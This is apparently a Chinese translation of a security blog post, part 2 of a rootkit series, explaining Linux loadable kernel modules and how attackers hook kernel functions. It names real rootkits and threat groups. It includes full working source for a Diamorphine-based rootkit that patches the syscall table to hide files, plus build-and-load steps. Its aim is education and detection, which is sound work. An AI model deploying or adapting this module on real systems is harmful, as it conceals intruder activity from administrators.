第 2 部分深入探讨了 LKM(可加载内核模块)和内核空间 rootkit 的世界,以探索 LKM 是什么、攻击者如何滥用它们以及如何检测它们。
在本系列的上一部分中,我们介绍了LD_PRELOAD用户空间 rootkit。我们了解了这些 rootkit 的工作原理,并提供了在操作系统上检测它们的最佳实践。
在 Linux(和其他类 Unix 操作系统)中,系统内存分为两个不同的域:用户空间和内核空间。这些空间代表内存的不同区域,服务于不同的目的,在用户级应用程序和操作系统的核心功能(内核)之间提供了根本的分离。两个空间之间的分离增强了系统的稳定性、安全性和整体性能。
在本系列的第 2 部分中,我们将探讨 LKM(可加载内核模块)内核空间 rootkit。这种 rootkit 技术已被不同的攻击者在野外使用,包括:
在这篇文章中,我们将研究什么是可加载的内核模块,攻击者如何滥用此功能,提供在野外使用的示例,并解释如何检测它。
Linux 内核是操作系统的核心,它管理系统资源并为操作系统和应用程序的其他部分提供基本服务。可加载内核模块是可以动态加载到 Linux 内核中以扩展其功能的代码片段,而无需重新编译内核甚至重新启动。例如,当您需要处理内核不支持的新型文件系统时,您可能需要加载一个特定的内核模块,该模块旨在为该文件系统类型提供支持。
可加载内核模块被设计为可在运行时加载,允许内核适应不同的硬件配置,并支持各种设备和功能,而无需重新编译或修改主内核代码。
Linux 提供了各种命令来管理内核模块,以下模块是 kmod 应用程序的一部分。这些命令包括:
insmod
:用于手动将内核模块插入到正在运行的内核中。rmmod
:用于卸载(删除)内核模块。modprobe
:一个高级模块管理工具,不仅可以加载模块,还可以处理模块依赖关系,在需要时自动加载相关模块。lsmod
:用于列出所有加载的内核模块。它通过从 /proc/modules 文件中读取信息并查询 /sys/module/ 目录以获取每个模块的详细信息来运行。通常,用户不会直接调用 kmod,因为它主要由包管理器和系统工具来有效地处理内核模块。
三个相关文件和目录是:
在我们深入研究攻击者如何滥用 LKM 之前,了解什么是系统调用和内核函数非常重要。
当用户空间程序需要执行需要与内核交互的任务(例如,读取文件、创建网络套接字、管理进程)时,它必须要求内核执行这些操作。系统调用充当用户空间和内核空间之间的接口,允许内核代表用户程序执行请求的操作。浏览 Linux syscalls 手册页,了解有关 syscalls 的更多信息。
系统调用是一种从用户空间调用内核中函数的方法,但绝大多数内核代码并不公开为系统调用,而是由内核在内部用于执行与管理系统资源和维护操作系统整体操作相关的各种任务。它们不是用户程序可以通过系统调用访问的标准化接口的一部分。
例: 执行
strace ls
在上面的代码片段中,我们可以看到getdents64 syscall 的用法。此系统调用用于从目录中检索目录条目。它主要由需要读取目录内容的程序使用,包括ls和ps。在本例中,我们在空目录上执行,然后此系统调用收到 2 个条目(默认值和.. .)。
filldir是内核中的一个函数,从fs/readdir.c调用。它负责在目录列表中将目录条目(文件名和元数据)填充到目录缓冲区中。getdents系统调用在fs/readdir.c中使用filldir函数(参见 fs/readdir 源代码)。
在本系列的前一部分中,我们提到 rootkit 通常用于通过hook执行流来隐藏恶意活动。例如,在用户空间中,攻击者可以通过覆盖 libc 函数实现劫持,而劫持内核空间中的执行流将通过hook内核函数或系统调用来实现。
攻击者要使用LKM rootkit 存在某些限制,这些约束可以分为权限和可移植性:
权限
此外,可以使用 seccomp 和 AppArmor 等安全机制来限制进程的操作,包括防止与内核模块的交互。此外,系统内核可以在完全没有模块加载功能的情况下进行编译。
可移植性
内核模块必须使用与目标系统的内核版本兼容的特定内核头文件.ko进行编译。此外,内核函数和对象因内核版本和体系结构而异。因此,对于每个唯一的内核版本,可能需要不同的模块编译。这种复杂性给攻击者带来了挑战,因为他们不能只删除和加载预编译(内核对象文件)文件。相反,他们必须直接在目标系统上或在与目标系统的内核头文件匹配的系统上编译模块。
虽然这是最靠谱的方式,但是要注意,在加载内核模块时,也可能有其他方法可以避免完全编译的必要性。
一旦威胁参与者能够插入恶意 LKM,他们就可以完全控制内核空间(控制整个机器),并且可以滥用内核中的不同功能。
让我们列出一些攻击者用来钩住内核函数的常用方法:Syscall 表修改、Kprobes(内核探针)、Ftrace 和 VFS(虚拟文件系统)操作。
我们将在用户层上详细介绍每种方法,并引用利用它的开源 LKM rootkit 项目。探索这些 rootkit 项目有助于了解攻击者如何实践这些方法。
syscall表是Linux内核用来管理系统调用的数据结构。它用作查找表,其中包含指向负责处理特定系统调用的函数的指针。当用户空间程序进行系统调用时,内核使用此表来查找适当的处理程序函数并执行请求的系统调用。
从用户空间到内核的 Syscall 流程
通过对内核空间的完全控制,可以更改此表并操作处理程序指针值。攻击者可以通过保存旧的处理程序内容并将自己的处理程序添加到表中来hook任何系统调用。
利用此方法的开源 LKM rootkit 项目:Diamorphine 。
Kprobes 是 Linux 内核中的一项动态检测功能,允许开发人员在内核代码路径中的特定点插入自定义代码(探针)。这些探针旨在用于调试、分析、跟踪和收集有关内核行为的运行时信息,而无需修改实际内核代码。
Kprobes 的工作原理是将探测处理函数附加到内核代码中的选定点。执行该特定代码路径时,将调用探测处理程序函数。通过在敏感的内核函数上放置 kprobe,攻击者可以在调用该函数时执行其代码。
利用此方法的开源 LKM rootkit 项目:Reptile(利用 khook)。
Ftrace 是 Linux 内核中的内置跟踪框架,它提供了用于收集和分析有关内核行为和性能的不同类型的运行时信息的工具和基础设施。它旨在帮助开发人员和系统管理员了解内核的运行方式,并识别性能瓶颈、调试问题等。
Ftrace 允许用户跟踪特定的内核函数。攻击者可以利用此功能对内核函数的执行进行hook和拦截。
利用此方法的开源 LKM rootkit 项目: Ftrace-hook 。
VFS 是类 Unix 操作系统的关键组件,它通过启用 open()、stat()、read()、write()和 chmod() 等系统调用为用户空间程序提供文件系统接口。VFS 抽象并统一了对不同文件系统的访问,允许各种文件系统实现共存。VFS 是表示通用文件模型的一系列数据结构。VFS 的四种主要对象类型是:
在用户层中,每个对象都包含指向下一个对象的指针,其节点结构如下:file 对象 -> dentry 对象 -> inode 对象 -> superblock 对象。
攻击者可以hook到与特定文件系统关联的函数指针(如 root和proc),并用自己的函数指针替换它们。例如,替换readdir文件操作函数指针(有关较旧的内核版本,请参阅文件操作结构)。
利用此方法的开源 LKM rootkit 项目:adore-ng 和 suterusu 。
让我们创建一个内核模块,该模块使用 syscall 表修改方法hook getdents64 syscall,以隐藏名为 “malicious_file” 的文件,编译它并加载它。还值得注意的是,攻击者通常会hook filldir或fillonedir内核函数,filldir是用于相同目的更底层的hook。
让我们创建一个内核模块,该模块使用 syscall 表修改方法hook getdents64 syscall,以隐藏名为 “malicious_file” 的文件,编译 它并加载它。
重要:
1. 在 /tmp 下创建一个工作目录:
mkdir /tmp/test-lkm-rootkit && cd /tmp/test-lkm-rootkit
2. 安装相关软件包,包括与您的内核匹配的内核头文件:
* 对于基于ubuntu机器的机器,运行 :
apt install -y build-essential libncurses-dev linux-headers-$(uname -r)
* 对于基于centos的机器,运行:
yum install -y kernel-devel-$(uname -r) && yum –y groupinstall 'Development Tools'
3. 创建并复制以下内容为:Makefile
obj-m := lkmdemo.oCC = gcc -Wall KDIR := /lib/modules/$(shell uname -r)/buildPWD := $(shell pwd)
all:$(MAKE) -C $(KDIR) M=$(PWD) modules
clean:$(MAKE) -C $(KDIR) M=$(PWD) clean
4. 创建一个名为 lkmdemo.c 的文件,并复制下面的模块代码(代码基于 Diamorphine rootkit):
#include<linux/sched.h>#include<linux/module.h>#include<linux/syscalls.h>#include<linux/dirent.h>#include<linux/slab.h>#include<linux/version.h>#include<linux/proc_ns.h>#include<linux/fdtable.h>#ifndef __NR_getdents#define __NR_getdents 141#endif#define MAGIC_PREFIX "malicious_file"#define MODULE_NAME "lkmdemo"
structlinux_dirent {unsignedlong d_ino;unsignedlong d_off;unsignedshort d_reclen;char d_name[1];};
unsignedlong cr0;staticunsignedlong *__sys_call_table;typedef asmlinkage long(*t_syscall)(const struct pt_regs *);static t_syscall orig_getdents;static t_syscall orig_getdents64;
unsignedlong * get_syscall_table_bf(void){unsignedlong *syscall_table; syscall_table = (unsignedlong*)kallsyms_lookup_name("sys_call_table");return syscall_table;}static asmlinkage longhacked_getdents64(const struct pt_regs *pt_regs){structlinux_dirent * dirent = (struct linux_dirent *) pt_regs->si;int ret = orig_getdents64(pt_regs), err;unsignedlong off = 0;structlinux_dirent64 *dir, *kdirent, *prev =NULL;if (ret <= 0)return ret; kdirent = kzalloc(ret, GFP_KERNEL);if (kdirent == NULL)return ret; err = copy_from_user(kdirent, dirent, ret);if (err)goto out;while (off < ret) { dir = (void *)kdirent + off;if (memcmp(MAGIC_PREFIX, dir->d_name, strlen(MAGIC_PREFIX)) == 0) {if (dir == kdirent) { ret -= dir->d_reclen;memmove(dir, (void *)dir + dir->d_reclen, ret);continue; } prev->d_reclen += dir->d_reclen; } else prev = dir; off += dir->d_reclen; } err = copy_to_user(dirent, kdirent, ret);if (err)goto out;out:kfree(kdirent);return ret;}
static asmlinkage longhacked_getdents(const struct pt_regs *pt_regs){structlinux_dirent * dirent = (struct linux_dirent *) pt_regs->si;int ret = orig_getdents(pt_regs), err;unsignedlong off = 0;structlinux_dirent *dir, *kdirent, *prev =NULL;if (ret <= 0)return ret; kdirent = kzalloc(ret, GFP_KERNEL);if (kdirent == NULL)return ret; err = copy_from_user(kdirent, dirent, ret);if (err)goto out;while (off < ret) { dir = (void *)kdirent + off;if (memcmp(MAGIC_PREFIX, dir->d_name, strlen(MAGIC_PREFIX)) == 0) {if (dir == kdirent) { ret -= dir->d_reclen;memmove(dir, (void *)dir + dir->d_reclen, ret);continue; } prev->d_reclen += dir->d_reclen; } else prev = dir; off += dir->d_reclen; } err = copy_to_user(dirent, kdirent, ret);if (err)goto out;out:kfree(kdirent);return ret;}
staticinlinevoidwrite_cr0_forced(unsignedlong val){unsignedlong __force_order;asmvolatile("mov %0, %%cr0" : "+r"(val), "+m"(__force_order));}
staticinlinevoidprotect_memory(void){write_cr0_forced(cr0);}staticinlinevoidunprotect_memory(void){write_cr0_forced(cr0 & ~0x00010000);}
staticint __init lkmdemo_init(void){ __sys_call_table = get_syscall_table_bf();if (!__sys_call_table)return-1; cr0 = read_cr0(); orig_getdents = (t_syscall)__sys_call_table[__NR_getdents]; orig_getdents64 = (t_syscall)__sys_call_table[__NR_getdents64];unprotect_memory(); __sys_call_table[__NR_getdents] = (unsignedlong) hacked_getdents; __sys_call_table[__NR_getdents64] = (unsignedlong) hacked_getdents64;protect_memory();return0;}
staticvoid __exit lkmdemo_cleanup(void){unprotect_memory(); __sys_call_table[__NR_getdents] = (unsignedlong) orig_getdents; __sys_call_table[__NR_getdents64] = (unsignedlong) orig_getdents64;protect_memory();}
module_init(lkmdemo_init);module_exit(lkmdemo_cleanup);
MODULE_LICENSE("Dual BSD/GPL");MODULE_AUTHOR("demo");MODULE_DESCRIPTION("LKM rootkit based on diamorphine");
5. 运行以创建.ko文件:
make
6. 创建名为 malicious_file 的文件。
touch malicious_file
7. 在工作目录上运行,并在输出中查看该文件。
ls malicious_file
8. 加载内核模块
insmod lkmdemo.ko
9. 再次运行,我们将看到现在在输出中是隐藏的。
ls malicious_file
10. 运行并查看输出中的 lkmdemo。
lsmod
11. 卸载模块。
rmmod lkmdemo
已在许多实际威胁中检测到可加载内核模块(LKM)rootkit。值得注意的是,许多公布的攻击都利用了开源 rootkit。然而,这并不一定意味着大多数 LKM rootkit 都来自开源项目。由于检测加载的内核模块固有的困难,因此怀疑可能存在未公开的威胁,这些威胁仍未被公布。
TeamTNT 组:Diamporphine rootkit
Melofee 恶意软件 / 针对易受攻击的 Fortinet 服务的活动 / 针对韩国公司的活动:Reptile rootkit
Winnti 组 (APT 41) / RedXor 恶意软件 / Syslogk 恶意软件:Adore-ng、Suterusu rootkits
Skidmap 恶意软件
攻击者利用 LKM rootkit 来拦截不同的内核级函数,从而增加了调查受感染系统的复杂性。以下技术可以帮助识别此类 rootkit 的存在:
为了最大程度地降低在您的环境中受到 LKM rootkit 攻击的可能性,我们建议考虑以下步骤:
可加载内核模块 LKM rootkit 利用不同的内核功能来k内核函数。成功加载 LKM rootkit 的攻击者可以完全控制系统资源,隐藏恶意活动,从而导致检测具有挑战性。
在这篇文章中,我们提供了这类 rootkit 的介绍。我们详细介绍了内核模块的用途以及它们如何被攻击者使用。我们列出了此 rootkit 在野外的使用示例,并提供了有关如何检测此类 rootkit 的最佳实践。
请继续关注本系列的第 3 部分,我们将深入探讨 eBPF rootkit。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。